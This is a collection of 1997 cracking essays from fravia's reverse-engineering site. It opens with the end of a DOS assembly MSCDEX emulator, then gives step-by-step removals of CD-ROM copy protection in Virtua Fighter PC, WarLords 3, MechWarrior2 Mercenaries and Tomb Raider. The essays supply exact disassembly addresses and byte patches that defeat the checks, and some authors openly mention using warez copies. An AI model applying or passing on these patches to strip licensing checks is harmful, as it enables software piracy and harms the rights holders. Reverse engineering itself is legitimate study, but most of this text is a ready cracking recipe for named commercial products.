XCHG AH,AL ; DRIVE
LES DI,DWORD PTR CS:[SUBST_ADDR+00H]
ADD DI,4FH
STOSW

CALL CHANGE_BACK_TO_ORG_DIR

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

MOV AX,352FH ; SAVE ORG INT 2F ADDR


INT 21H
MOV WORD PTR [JMP_ADDR+02H],ES
MOV WORD PTR [JMP_ADDR+00H],BX

http://www.instinct.org/fravia/animadei.htm (9 of 14) [2/7/2001 3:21:19 PM]


project2

MOV DX,OFFSET TSR_START ; SET INTERRUPT VECT TO OUR CODE


MOV AX,252FH
INT 21H

RET ; RETURN TO MAIN PROGRAM

;-------------------------
@EXIT:
MOV AH,4CH
INT 21H
;-------------------------
@HELP:
MOV DX,OFFSET HELP
CALL P
XOR AX,AX
JMP @EXIT
;-------------------------
P PROC ; PRINT TO SCREEN
PUSH AX
MOV AH,09H
INT 21H
POP AX
RET
ENDP

SKIP_BLANKS PROC ; SKIP BLANKS WHILE PARSING


@LOOP_AGAIN:
LODSB
CMP AL,0DH
JZ @OK_DONE
CMP AL,' '
JZ @LOOP_AGAIN
@OK_DONE:
DEC SI
RET
ENDP

COPY_STR PROC ; COPIES A STRING FROM ONE


PUSH CX ; DESTINATION TO THE OTHER
MOV CX,00FFH
@LOOP_LOOP:
LODSB
CMP AL,0DH
JZ @OK___FINISHED
CMP AL,' '
JZ @OK___FINISHED
STOSB
LOOP @LOOP_LOOP
MOV AH,0FFH ; AH = FF = ERROR
@OK___FINISHED:
DEC DI
POP CX
RET
ENDP

http://www.instinct.org/fravia/animadei.htm (10 of 14) [2/7/2001 3:21:19 PM]


project2

STRING_LENGTH PROC ; REPORT THE LENGTH OF A STRING


PUSH CX
MOV CX,00FFH
CBW
@LOOPING:
INC AH
LODSB
CMP AL,00H
JZ @OK___WITHIN_BOUNDRY
LOOP @LOOPING
MOV AH,0FFH ; AH = FF = ERROR
@OK___WITHIN_BOUNDRY:
POP CX
RET
ENDP

CHECK4ALPHADRV PROC
CMP AH,':'
JZ @OK__REQ_SYMBOL ; CHECK IF EMU DRIVE SPECIFIED
JMP @HELP
@OK__REQ_SYMBOL:

CMP AL,'a' ; CHECK FOR ALPHA CHARACTERS


JB @NO_CAPS
SUB AL,20H ; CONVERT TO CAPS IF NECESSARY
@NO_CAPS:
CMP AL,'A'
JGE @OK___CHAR1
JMP @HELP
@OK___CHAR1:
CMP AL,'Z'
JLE @OK___CHAR2
JMP @HELP
@OK___CHAR2:
RET
ENDP

GET_CUR_DIR PROC
MOV AH,19H ; GET CURRENT DRIVE
INT 21H
PUSH AX ; SAVE AX
XOR DX,DX
MOV AH,47H ; GET CURRENT DIRECTORY
INT 21H
POP AX ; RETURN AX
JNC @OK___GOT_DIRECTORY
MOV DX,OFFSET ERROR1
CALL P
MOV AL,01H
JMP @EXIT
@OK___GOT_DIRECTORY:
RET
ENDP

CHANGE_TO_TEMP_DIR PROC

http://www.instinct.org/fravia/animadei.htm (11 of 14) [2/7/2001 3:21:19 PM]


project2

MOV SI,OFFSET TEMP_CUR_DIR ; TEST FOR THE VALIDITY OF THE


CALL GET_CUR_DIR ; USER SPECIFIED DRIVE AND PATH
MOV BYTE PTR [TEMP_DRIVE],AL

MOV DL,BYTE PTR [XDRIVE] ; CHANGE DRIVE


SUB DL,41H

MOV AH,0EH
INT 21H
MOV AH,19H ; SEE IF WE'VE CHANGED DRIVES
INT 21H
CMP DL,AL
JNZ @PRINT_ERROR

MOV DX,OFFSET DIR1 ; NOW CHANGE TO THE SPECIFIED


MOV AH,3BH ; DIRECTORY
INT 21H
JNC @DIR_TEST_OK
@PRINT_ERROR:
MOV DX,OFFSET ERROR2
CALL P
MOV AL,01H
JMP @EXIT
@DIR_TEST_OK:
RET
ENDP

CHANGE_BACK_TO_ORG_DIR PROC
PUSH CS
PUSH CS
POP DS
POP ES

MOV DL,BYTE PTR [TEMP_DRIVE] ; GO BACK TO ORIGINAL DRIVE


MOV AH,0EH ; AND DIRECTORY
INT 21H
MOV AH,19H
INT 21H
CMP AL,DL
JNZ @PRINT_ERROR
MOV DX,OFFSET TEMP_CHANGE ; RETURN TO ORG DIRECTORY
MOV AH,3BH
INT 21H
JC @PRINT_ERROR
RET
ENDP

;-------------------------
E EQU 0DH,0AH
S EQU '$'

MAIN: DB 'EMULATE CD-ROM (R) - DESIGNED BY ANIMADEI[T] -


12/25/1995',E,E,S

HELP: DB '[HELP] ECD [OPT: /A] [SUBST DRIVE:]

http://www.instinct.org/fravia/animadei.htm (12 of 14) [2/7/2001 3:21:19 PM]


project2

[DRIVE:(\)(DIRECTORY)(\)]',E,E
DB ' MSCDEX REPLY REGARDLESS: ECD /A ...ETC.',E,E
DB ' INSTALL: ECD A:',E
DB ' ECD Y: C:.',E
DB ' ECD X:B:DOS\',E
DB ' ECD Z: D:\WINDOWS',E
DB ' UNLOAD!: ECD /U',E,S

UNLOAD_OK: DB 'UNLOAD OK!',E,S


NOT_LOADED: DB 'NOT RESIDENT!',E,S
UNLOAD_ERR1: DB 'ALREADY LOADED!',E,S
UNLOAD_ERR2: DB "CAN'T UNLOAD!",E,S

DOS_ERROR: DB 'NEED DOS VERSION 4.0+ TO EXECUTE ECD!',E,S

DRIVE_ERR: DB ?
DB ': NOT LISTED WITHIN LASTDRIVE!',E,S

NO_SPEC: DB 'EMULATING = '


DRIVE: DB ?
DB ':',E,S

ERROR1: DB "CAN'T GET CURRENT DIRECTORY!",E,S


ERROR2: DB "CAN'T GET SPECIFIED DIRECTORY!",E,S
;-------------------------
XDRIVE: DB ?
EXTRA: DB ?
DIR1: DB ?
DIRECTORY: DB (70H - 4H) DUP (?)
DB ?

TEMP_DRIVE: DB ?
TEMP_CHANGE: DB ?
TEMP_CUR_DIR: DB (70H) DUP (?)
DB ?

TEMP_ADDR: DD ?
;-------------------------

END START
That's all folk,
however, I must stress that it is really a simple method of emulating MSCDEX.EXE,
and returning values that it would in reality. If you need to simulate
an actual physical sector reads like on some CD's, then you'd just trap
the address, check how many bytes being read, dump it to disk, and make
an additional code to the assembly source I submitted to write it all
back when read's to that sector is detected by interrupt traps.
Easy as
pie!

(c) Animadei, May 1997. All rights reversed.

You are deep inside fravia's page of reverse engineering, choose your way out:

http://www.instinct.org/fravia/animadei.htm (13 of 14) [2/7/2001 3:21:19 PM]


project2

Back to Project 4
homepage links anonymity +ORC students' essays academy database
antismut tools cocktails search_forms mail_fravia
Is cracking illegal?

http://www.instinct.org/fravia/animadei.htm (14 of 14) [2/7/2001 3:21:19 PM]


aescul5

Brief Tutorial on CD Access Based Protection Schemes Under Windows


Cracking Virtua Fighter PC

by Aesculapius

(27 August 1997)

Courtesy of Fravia's page of reverse engineering

Well, a VERY welcome contribution by our Aesculapius! It was time that somebody took care of the CD-ROM checks, which
btw, in general, are NOT very difficult to defeat. I hope that with the help of this addition many +crackers will be stimulated
and work on such schemes, bringing ahead this poor and neglected (yet important) project 4!

Brief Tutorial on CD Access Based Protection Schemes Under Windows


Cracking Virtua Fighter PC
By Aesculapius

It should be beneficial for all of us to dedicate some time on CD


Access protection schemes reviewing, given the fact that ORC+ brilliant
tutorial on this matter isn't complete yet (check
http://207.30.50.126/fravia/howto51.htm) and there are few essays (although
brilliant indeed) on this matter at the +HCU. Writing essays on DOS4GW
Extender + CD Check would be a great addition for the +HCU.

Theoretical digression: CD access based protection schemes are


relatively frequent. These Schemes will basically, prevent the user from
running the program if the original disk is not inside the CD drive. This
assures that only one copy of the program runs at a time. In many cases,
all information in the CD is copied to the hard drive at installation,
making the presence of the disk in the unit a matter of copyright
restriction, and being not strictly necessary from the technical point
of view. In some cases, much of the info required stays in the CD drive,
making impossible to dispense the original disk. Remember, we're dealing in
this essay with those cases in which all the program is transferred from the
disk to the hard drive; other cases would require further discussion.

These schemes work all in a very similar fashion. The presence of


certain 'I_didn't_do_it-looking' file inside the CD drive is checked every
time the application runs. Primitive schemes could simply check for the
presence of a CD-ROM drive in the system even if it is empty or the disk
inside is not the right one. As CD-ROM units have become an standard
peripheral in most basic PC configurations, this gadget has been abandoned
or combined with the checking of some sort of information inside the CD
itself.

Given these facts, defeating CD access schemes could be achieved


by means of several techniques. You could simply fool the program to believe
that your hard drive is a CD unit (faking and relocating the right
information to be read in your hard drive); altering the behavior of the
program by means of assembly code editing is another possibility; using

http://www.instinct.org/fravia/aescul5.htm (1 of 4) [2/7/2001 3:21:23 PM]


aescul5

ready_to_use or made_by_yourself CD fakers. We will discuss the second


possibility as it can produce a higher rate of successes (in my
personal experience).

Today's scapegoat is Virtua Fighter PC, a cool looking, third person


3D fight game by SEGA. I'm not able to give you the trail of this program
location as the gamez 'panorama' in the internet is a whirlpool of changing
URL's. However the game is widely available in the shells.

To achieve this crack you'll need SoftICE 3.x and your


preferred Hex editor (Psedit 4.4 in my case). Earlier versions of
SofICE will also work, but some of the SoftICE commands in this essay
will apply to version 3.x only. (Note: Remember to load all necessary
SoftICE exports and remove Virtua Fighter Compact Disk from the CD unit
before proceeding any further).

Load the main executable file: vfpc.exe in SoftICE's loader. After


SoftICE pops up, we should set a dense net (one at a time) of clever
breakpoints to catch the scheme in _flagrante delictum_. Most frequently
used Win32 application programming interface are:

GetDriveType
GetFileAttributesA **
GetFileSize
GetLogicalDrives
GetlogicalDriveStrings
GetLastError **
ReadFile

Any of these API's (and some others) can be used in one way or
another to query the presence and authenticity of a compact disk. In some
cases, the absence of the disk will force the API to return with an error
code. Almost all API's (in case of failed procedure) return with an error
code value of -1, 0xFFFFFFFF, equivalent to NULL. According to this, an
appropriate breakpoint on GetLastError API could be set.

In this particular case, SoftICE pops up when marked (**)


breakpoints in the list are set. Let's take a closer look of the snippet
where SoftICE pops up after pressing F12 one time:

* CALLs at Addresses:004AC3E6, :004AC42A ; As you can see, there is a double check!


|
:00535317 FF742404 push [esp+04]

* Reference To: KERNEL32.GetFileAttributesA, Ord:00D7h


|
:0053531B FF155064C000 Call dword ptr [00C06450]
:00535321 83F8FF cmp eax, FFFFFFFF; Procedure failed?
:00535324 7516 jne 0053533C; No, then jump, otherwise
go on
* Reference To: KERNEL32.GetLastError, Ord:00E1h
|
:00535326 FF15D463C000 Call dword ptr [00C063D4] ; Query error
:0053532C 50 push eax ; in detail

http://www.instinct.org/fravia/aescul5.htm (2 of 4) [2/7/2001 3:21:23 PM]


aescul5

:0053532D E86E72FFFF call 0052C5A0


:00535332 83C404 add esp, 4
:00535335 B8FFFFFFFF mov eax, FFFFFFFF ; Procedure failed
:0053533A EB28 jmp 00535364 ; Retr with EAX=FFFFFFFF

Some instructions eliminated!

:00535362 33C0 xor eax, eax ;Procedure Successful


;Return with EAX=0
Some instructions eliminated!

:00535364 C3 ret

As you can see, a cleverly set breakpoint landed SoftICE right in the middle
of the protection scheme check. The first API is checking attributes of
certain hidden file located in the original compact disk, if the procedure
fails, it returns with EAX=-1, therefore EAX=FFFFFFFF (Valid compact disk
absent). If the API succeed, then EAX<>-1 and eventually EAX=0.

Now let's take a look at the two procedures that CALL these
API's

FIRST LOCATION
--------------
:004AC3CF 689C72B500 push 00B5729C
:004AC3D4 8D45AC lea eax, dword ptr [ebp-54]
:004AC3D7 50 push eax
:004AC3D8 E890C90700 call 00528D6D
:004AC3DD 83C410 add esp, 00000010
:004AC3E0 6A00 push 00000000
:004AC3E2 8D45AC lea eax, dword ptr [ebp-54]
:004AC3E5 50 push eax
:004AC3E6 E82C8F0800 call 00535317 ; Check File on CD
:004AC3EB 83C408 add esp, 00000008
:004AC3EE 85C0 test eax, eax ; EAX=0 Success
:004AC3F0 0F850C000000 jne 004AC402 ; If Success then Jump
:004AC3F6 33C0 xor eax, eax ; Otherwise erase EAX
:004AC3F8 E953000000 jmp 004AC450 ; Beggar off! Display NAG
:004AC3FD E94E000000 jmp 004AC450

SECOND LOCATION
---------------

:004AC413 68A472B500 push 00B572A4


:004AC418 8D45AC lea eax, dword ptr [ebp-54]
:004AC41B 50 push eax
:004AC41C E84CC90700 call 00528D6D
:004AC421 83C410 add esp, 00000010
:004AC424 6A00 push 00000000
:004AC426 8D45AC lea eax, dword ptr [ebp-54]
:004AC429 50 push eax
:004AC42A E8E88E0800 call 00535317 ; Check file again
:004AC42F 83C408 add esp, 00000008
:004AC432 85C0 test eax, eax ; EAX=0 Success
:004AC434 0F850C000000 jne 004AC446 ; If Success jump

http://www.instinct.org/fravia/aescul5.htm (3 of 4) [2/7/2001 3:21:23 PM]


aescul5

:004AC43A 33C0 xor eax, eax ; Otherwise erase EAX


:004AC43C E90F000000 jmp 004AC450 ; Beggar off! Display NAG
:004AC441 E90A000000 jmp 004AC450

Needless to say, both locations are exact mirrors. The code


is self-explaining. Finally you can unveil the secret file by taking a
closer look at the GetFileAttributes API parameters. Simply, trace inside
the API and check all used memory locations. The file to be read is
X:\VFPC\vfrright.txt, where 'X:' means the drive letter of your CD unit.

Now that we know all the facts, let's discuss how the protection
scheme works: 1. There are two mirror locations that CALL the same code
segment where two API's will check the presence and authenticity of a certain
file on the compact disk. GetFileAttributesA checks the file, if any error
occurs, GetLastError API will query detailed information on that error.
Result from the query sets the Flag in EAX (which follows the standard API
convention, as EAX=FFFFFFFF is not successful). To crack this
scheme all we have to do is fake the API result.

Change:

:00535335 B8FFFFFFFF mov eax, FFFFFFFF

To:

:00535335 B800000000 mov eax, 00000000

When the API fails to check the file, it'll try to return at
:0053533A with EAX=FFFFFFFF. If we change it to return with EAX=0, both
mirror locations of the protection scheme are deactivated because they use
the same common API's to accomplish their job.

As always, if you have any comment or question, don't hesitate to


write me.

(Note: I tried to keep the essay as short as possible).

Aesculapius - August 97
aesculapius@cryogen.com
aesculapius.home.ml.org

Aesculapius 1997: All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 4
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/aescul5.htm (4 of 4) [2/7/2001 3:21:23 PM]


riddcd1

WarLords 3 Cd-Check
("A Very Simple Protection")

by +-=Riddler=-+

(24 September 1997)

Courtesy of fravia's page of reverse engineering

Well, another interesting essay about CD-rom protections reverse engineering

WarLords 3 Cd-Check
"A Very Simple Protection"

by +-=Riddler=-+
This is my first cd-check protection and it was quite easy I have
to say...I was reading Aesculapius's Cd-Check Essay on Virtua Fighter
when I decided to try this.

WarLords3 is a game published by Red Orb entertainment and I


obtained this copy from a warez site...I wanted to try it since I heard
it was a warcraft II type game. Anyway I decided to download it, I saw
it was released by a group called Paradigm. So let's get down to busines.

Anyway so I unrar the program and install it and when I go to run


it... I find that I get a message that says "CD not found Please insert
the Warlords III cd before starting the game".
Ok, So obviously this program was not cracked correctly or someone
didn't include the crack with the program. So I had two options at this
point.
Either we could look on the internet and beg for a crack or we could do
what we should be doing and crack this ourselves. Obviously we are going
to crack it ourselves.

Let's begin by loading up war3.exe into W32dasm and begin our


conquest to defeat the ties that bind us to obey software companies.
Once War3.exe is dissasembled we have several options. One being the fact
that we could search for the text... But the fact is that it shows up
several times and this is not the best method at all.
We are going to search for GetLogicalDrives but why not GetDriveType you
ask... Well it is NOT going to be the culprit in this case due to the fact
that when you set a breakpoint on GetDriveType it doesn't break anytime
before the screen that says to enter the cd.
So It must be GetLogicalDrives and in fact if you set a breakpoint
you will see it break. Now searching threw the dissembled text you
will notice that for example that GetLogicalDrives only shows up once.

http://www.instinct.org/fravia/riddcd1.htm (1 of 3) [2/7/2001 3:21:25 PM]


riddcd1

I have a good feeling that this indeed will be very easy.


Now about a paragraph above the kernel32.dll call you will
see that it was called by only one location that will indeed be the
only check for the cd at startup. Ok now if you trace the call back from
the GetLogicalDrives call you will find that the following code:

* Referenced by a CALL at Addresses:00441CFB , :00441D6C


|
* Possible StringData Ref from Data Obj ->"E"
|
:00436E40 685CC24C00 push 004CC25C
:00436E45 E856090000 call 004377A0
:00436E4A 83C404 add esp, 00000004
:00436E4D A258C24C00 mov byte ptr [004CC258], al
:00436E52 C3 ret

Ok now we know that the call at "00436E45" will obviously be the checking
code. If you notice at Code Data location "00436E4D" that whatever is in
al will be moved to memory location "004CC258". Then after that return code
from al into the memory location we return program control to the calling
function. Ok in this case we are going to go to code data location "00441CFB".
At that location we find the following code:

* Referenced by a CALL at Address:004BE928


|
:00441CD0 64A100000000 mov eax, dword ptr fs:[00000000]
:00441CD6 55 push ebp
:00441CD7 8BEC mov ebp, esp
:00441CD9 6AFF push FFFFFFFF
:00441CDB 68E61D4400 push 00441DE6
:00441CE0 50 push eax
:00441CE1 64892500000000 mov dword ptr fs:[00000000], esp
:00441CE8 33C0 xor eax, eax
:00441CEA 83EC08 sub esp, 00000008
:00441CED B94E9E0000 mov ecx, 00009E4E
:00441CF2 56 push esi
:00441CF3 57 push edi
:00441CF4 BFB8645000 mov edi, 005064B8
:00441CF9 F3 repz
:00441CFA AB stosd
:00441CFB E84051FFFF call 00436E40 <-call cd-checking function :00441D00
803D58C24C0000 cmp byte ptr [004CC258], 00 <-was the cd in drive??? :00441D07
0F8582000000 jne 00441D8F <-If it was, continue :00441D0D 8D4DF0 lea ecx, dword ptr
[ebp-10] <-Nag them about cd! Ok so now by studying this code "that.class"
tppabs="http://fravia.org/that.class" is commented will can very easily see that if
the cd was in the drive "al" will load "004CC258" with "1" if it wasn't it will load
"004CC258" with "0". Ok so as I was taught there is more than one way to crack or
solve a protection scheme in any program. We could easily change the "jne 00441D8F"
with jmp 00441D8F" therefore it will always jump to the good code or we could just as
easily hardwire the value that is put into "004CC258" at "call 00436E40" by putting
"1" into that location and removing the "al". For this solution I changed the "jne
0041D8F" to "jmp 0041D8F" due to the fact that if you notice the call to "00436E40"
that code segment is called by another part of the code...It could in fact cause
problems there...So we are going to patch it that way. I hope that everyone has
enjoyed this essay, I hope to have more in the future. Please feel free to e-mail me

http://www.instinct.org/fravia/riddcd1.htm (2 of 3) [2/7/2001 3:21:25 PM]


riddcd1

at: Riddler@oceansintl.com Take Care, +-="Riddler=-+"


(c) Riddler 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 4 ("CD-Rom protections")


homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/riddcd1.htm (3 of 3) [2/7/2001 3:21:25 PM]


riddcd2

CD-Rom reversing MechWarrior2 Mercenaries


("Another Approach to the Cd-Check scheme")

by +-=Riddler=-+

(26 September 1997)

Courtesy of fravia's page of reverse engineering

Well, Riddler is slowly "specialising" in this very interesting cracking subject! Here is his SECOND
essay in a very short time. Let's hope he keeps sending material, as I will repeat (once more): "I hope
that with the help of this addition many +crackers will be stimulated and work on such schemes, bringing
ahead this poor and neglected (yet important) project 4!"

How to Crack MechWarrior2 Mercenaries


(Another Approach to the Cd-Check scheme)
by +-=Riddler=-+
This is a well known game and should be widely availible from the internet. I personally purchased this
game. I played it for a bit and then I discarded it into the box with the rest of my cd's. I tired of it and it
was in a way a waste of my money. But it makes a good program to write a tutorial on due to the fact that
it can be widely found and also that I am going to approach this program and also sucessfully crack it.
Ok, as usual let's get down to business. MechWarrior2 Mercenaries is a 3-D fighting game and is well
known. Even if you do a FULL INSTALL at 150MB, it still requires the cd to start. This kind of
protection is in effect controling the consumer. I personally beleive that if you pay $55 for a game like I
did, that you should be at least able to play against a friend over a network or modem or whatever. But in
a case like this that means you would need 2 cd's, to play like, that or more depending on the number of
players. Ok, now this cd comes with 2 versions on it. It has a Windows95 version of the program and a
DOS version of the program. In this case we are going to crack the protection in the Windows95 Version.
Now if you read my essay on the WarLords3 Cd-Check crack we where able to make the program jump
to the good code to continue no matter what the procedure GetLogicalDrives returned with, a success or
a failure. So in this case instead of making it jump wheather it is a sucess or a failure, we are going to
approach it another way and that being the fact that we are going to change where it looks for the file. I
am going to walk through it and this, for example, maybe an easier way to crack a cd-check because say
for example you have a program that will acutually verify the file, (which this one doesn't) you can copy
that file to the harddisk and tell it to look there. That way if it needs data to run off the cd, it can still get
the data and it won't really require the cd to run. That's how we are going to crack this program. Ok, I

http://www.instinct.org/fravia/riddcd2.htm (1 of 3) [2/7/2001 3:21:28 PM]


riddcd2

began this crack by loading "mercswin.exe" into w32dsm and I decompiled it. Ok now I decided to start
off looking in the dissembled text for "GetLogicalDrives" because as we all know is a well used function
to begin to verify a cd-rom. Along with with "GetLogicalDrives" you can also have several others such
as "GetDriveType" and "GetLogicalDriveStrings". It turns out that "GetLogicalDrives" is not used in this
program at all, but searching for it, it brought me to "GetLogicalDriveStrings" and in this case it's right
where we need and want to be. Ok, so this is the code that we find when we search for
"GetLogicalDriveStrings": * Reference To: KERNEL32.GetLogicalDriveStringsA, Ord:00E5h |
:00401036 FF1568B14000 Call dword ptr [0040B168] :0040103C 8D442410 lea eax, dword ptr
[esp+10] * StringData Ref from Data Obj ->" :\OLD_MERC.DRV" <--This is the file verified |
:00401040 6838804000 push 00408038 :00401045 50 push eax :00401046 E875090000 call 004019C0
:0040104B C7053480400000000000 mov dword ptr [00408034], 00000000 :00401055 83C408 add esp,
00000008 :00401058 803F00 cmp byte ptr [edi], 00 :0040105B 7442 je 0040109F Ok that we know the
file that the program is going to look for...Let's scroll down some and take a careful look at the code that
follows: * Reference To: KERNEL32.FindFirstFileA, Ord:0079h | :0040105D 8B3574B14000 mov esi,
dword ptr [0040B174] <--Load offset of filename * Reference To: KERNEL32.GetDriveTypeA,
Ord:00CEh | :00401063 8B2D64B14000 mov ebp, dword ptr [0040B164] * Referenced by a Jump at
Address:00401094(C) | :00401069 53 push ebx :0040106A FFD5 call ebp <--Call GetDriveTypeA
Function :0040106C 83F805 cmp eax, 5 <--Is Drive CD-Rom????? :0040106F 751D jne 0040108E
<--IF it's not get cd-rom :00401071 8D4C2424 lea ecx, dword ptr [esp+24] :00401075 FF0534804000
inc dword ptr [00408034] :0040107B 8A03 mov al, byte ptr [ebx] :0040107D 51 push ecx :0040107E
88442414 mov byte ptr [esp+14], al :00401082 8D442414 lea eax, dword ptr [esp+14] :00401086 50
push eax :00401087 FFD6 call esi :00401089 83F8FF cmp eax, FFFFFFFF <--Does Function Fail?
:0040108C 750A jne 00401098 <--If it doesn't continue Now before we do anything else with the
program we are going to concentrate on one thing and that being the fact that the "cmp eax,00000005" at
Code Offset "0040106C". Let's Review the Properties of "GetDriveTypeA" GetDriveTypeA Return
Function codes: Value Meaning 0 Drive Cannot Be determined 1 Root Dir Does not exist 2
DriveRemoveable 3 A Fixed Disk (HardDrive) 4 Remote Drive(Network) 5 Cd-Rom Drive 6 RamDisk
Ok now when "eax" is compared to "5" it is just seeing that the drive it has found is indeed a cd-rom. Ok
Break out Hiew and load up "mercswin.exe" and we are going to goto the offset of the "cmp eax, 5" we
can see that is at offset "046Ch" now we are going to change that 5 in the instruction to a "3" that way it
will look for a HardDrive instead of a Cd-Rom. Ok, so save that change and then stop a second and
think. OK, we have patched the code and it should work but there is still the manner of
":\OLD_MERC.DRV" ok so we know that it will look at it in the root dir of the drive. In this case the
drive where "mercswin.exe" installed to. Ok so create a file "OLD_MERC.DRV" in the root dir. Now
after you have done that go and try to run "mercswin.exe" and you will see that is works without a hitch.
The program will fire right up. This program simply checks for the presence of the file but does not
verify it's contents nor does it verify its date, size, time, attributes or anything of that nature. Now we can
run the program without the cd by changing one byte in the file. I have seen a crack for this before,
published by the PhroZen Crew. They packaged the "OLD_MERC.DRV" file and fakecd to run it. I
personally prefer the method I have explained above, due to the fact that this is in essence a "worldwide
crack", for any cd-rom based protection that will call that function to verify if the drive is a cd-rom. I
hope that this has shed some light on cd-protection. I should have some more essays in the near future.
Thanks and Take Care, +-=Riddler=-+ Riddler@oceansintl.com (c) Riddler 1997. All rights reversed
Indeed, Riddler, you are right! Teaching people interested in learning and working on this stuff HOW TO
reverse engineer all protection of a given kind (all software for that matter, not only protections) seems

http://www.instinct.org/fravia/riddcd2.htm (2 of 3) [2/7/2001 3:21:28 PM]


riddcd2

to us (and I believe and hope that I'm speaking for the whole +HCU) much more interesting and
constructive (and correct) than releasing ready made "pre-cooked" (easy) cracks for all lusers and
leechers. People that would eventually have been able to help us, if we had only helped them a little to
develop, will never learn anything thattaway! Whatta waste!
C'mon fellow crackers of all the groups of the alphabet... you know as well as I do how much fun our
activity is... how rewarding and interesting it is to understand alien code... once you know how to
proceed... once you have learned at least some of the hundred little tricks... C'mon! Share your
knowledge with those that deserve it, instead of showing off for the greedy eyes of the "me-too" lusers!
Teach people how to start, some need only a little help to get rolling, and they will send us back
TREASURES of knowledge once they have learned the basic stuff (and the advanced techniques as well
:-)
We should never forget the words that +ORC printed in each lesson of his tut:
"Give a man a crack, and he'll be hungry again tomorrow,

teach him how to crack, and he'll never be hungry again"

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 4 ("CD-Rom protections")

> homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/riddcd2.htm (3 of 3) [2/7/2001 3:21:28 PM]


ft4tom.htm

Cracking the Mystique Patch for Tombraider


(the write random file trick)

by +Alt-F4

(17 October 1997, slightly edited by fravia+)

Courtesy of fravia's page of reverse engineering

Well, an interesting short essay... and we are awaiting more essays on this section... few have arrived... many
had been promised: where are they?

Cracking the Mystique Patch for Tombraider.

Date: 11 October 1997


Target: Matrox Mystique patch for tombraider.
Where: On the patches page at http://www.matrox.com/mga/
Tools Used:
Softice 3.2 (Get it! The video card support is 100 times better!)
Wdasm 8.9 (Find the registered version on the web!)
FileMonitor

Well, a friend of mine just got Tombraider on warez, but then needed
the Matrox Mystique video patch cracking for his video card.
I thought this would be a perfect opportunity for me to try some
DOS4GW cracking, and to see what a cd-rom protection was like.

First of all, I ran FileMon, whilst I ran Tombraider.


I noticed that it searched all drives(from a to z) for
"\data\title.phd", obviously a CD-file.
It couldn't find it, so I used subst
eg: subst j: d:\games\tomb

Now I ran it again, and it succesfully found title.phd on the faked j drive
Then the target tries creating a file in the root directory of the drive
where it found the file on (in my case j:).

I then tried to use fakecd, but for some reason this program allows
file writes (or atleast it did on my system...) so it did not behave like
a read-only media (a CD-Rom) would have done...

http://www.instinct.org/fravia/ft4tom.htm (1 of 4) [2/7/2001 3:21:30 PM]


ft4tom.htm

Ok, I now had a theory about what to crack, but no idea about how to
crack it (I have never cracked a DOS4GW program before).

I wasn't sure if Dos files could be disassembled using Wdasm, but I


gave it a try and it seemed to work.
In the dead listing of tomb.exe, there are only 3 interrupt 21's that
have ah=3d (open file)
I wrote down the op codes for these instructions, and then loaded
tombraider once more.

When the initial DOS4GW screen appeared, I pressed ctrl D, and


then did a search for the byte-codes of my three interrupts.

Once found, I then set a bpx on them, and let the program run once
more.

Only one of them ever seems to be executed, and that is the one at
82E1BAAD
Ok, So when it searches for its CD-file "title.phd" , this file must be
found successfully, yet when it searches for the random file, this must
NOT be found, and yet they both use the same code?
What's happening here?

Obviously the code at 82E1BAAD returns a value, and the value is


checked further up the code tree.

So both times (when it expects a "good" open file, and when it


expects a "bad" open file), I repeatedly press F12, to go back up the
call tree, and wrote down the values as I went...

Good. Expects file to be opened successfully.


82E1BAAD, is called by
82E0FFFA, is called by
82E10079, is called by
82E1008E, is called by
82DE35A4

Bad. Expects file to NOT be opened successfully


82E1BAAD, is called by
8EE0FFFA, is called by
82E10079, is called by
82E1008E, is called by
82DE3624

Ahh, we have found some code that differ!

The code at 82DE35A4 and the code at 82DE3624

http://www.instinct.org/fravia/ft4tom.htm (2 of 4) [2/7/2001 3:21:30 PM]


ft4tom.htm

look like this...

call 82E1008E
test eax,eax
jz ....

Ok, this means that after each call, it checks for eax=FALSE.
Eax will be = 0 when the file could NOT be created or opened
successfully. 5which happens when you write on a CD-Rom,
a very simple way to check if the media is a CD, btw).

We want to fool the program into thinking that the file was not
created, like it would have happened on a "REAL" CD.

Thus we can just change


7410 jz ...
to
EB10 jmp ...

But if we were to do that, every time we ran tombraider, we would


have a new random "checkCD" file added by our target to the tomb
directory, not very elegant...
Why?
Because we don't allow the program to delete the file afterwards!

Here is the code that checks for the valid file:

624: E85DCA0200 CALL 086 //Try to Open file


629: 85C0 TEST EAX,EAX //File Opened successfully?
62B: 7410 JZ 63D

//This is only called when cd-rom is "writable"


//This happens when eax=1

62D: E826CD0200 CALL 358 <Maybe delete file?


632: 89D8 MOV EAX, EBX
634: E8CFD00200 CALL 708 <Maybe close file handle?
639: 31C0 XOR EAX, EAX <Set bad flag
63B: EB05 JMP 642 <Jump to end

//This is jumped to when the file could not be written to


//This happens when eax=0
63D: B801000000 MOV EAX, 1 < Set "good" flag
642: 83C410 ADD ESP, 10
645: 5A POP EDX
646: 5B POP EBX
647: C3 RET

http://www.instinct.org/fravia/ft4tom.htm (3 of 4) [2/7/2001 3:21:30 PM]


ft4tom.htm

So, what do the calls at 62d and 634 do? Who cares? They are
evidently used to clean up the file, so we may as well use them
ourselves.
The easiest way to change this is to nop out the jmp at 63b, so
that it will fall through to 63D, and always set our good flag.

Therefore change
63B: EB05 JMP 642
to
63B: 31C0 XOR EAX, EAX ;ax is zero! Who cares?
;will be set true in the
;next instruction!

And it works!
Is this all? I wasn't sure, but it anyway no longer said "please
insert tomb raider cd" at the start of the program, and there
wasn't any files left in the tomb directory either... clean
crack!

I couldn't test it any further (I don't have a matrox video card


myself), but when I took it round to my friends house it seemed
to work. If I later find it doesn't or anything, I'll update this
tutorial....

+Alt-F4
(c) +Alt-F4 1997. All rights reversed

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 4 ("CD-Rom protections")

homepage links anonymity +ORC students' essays academy database


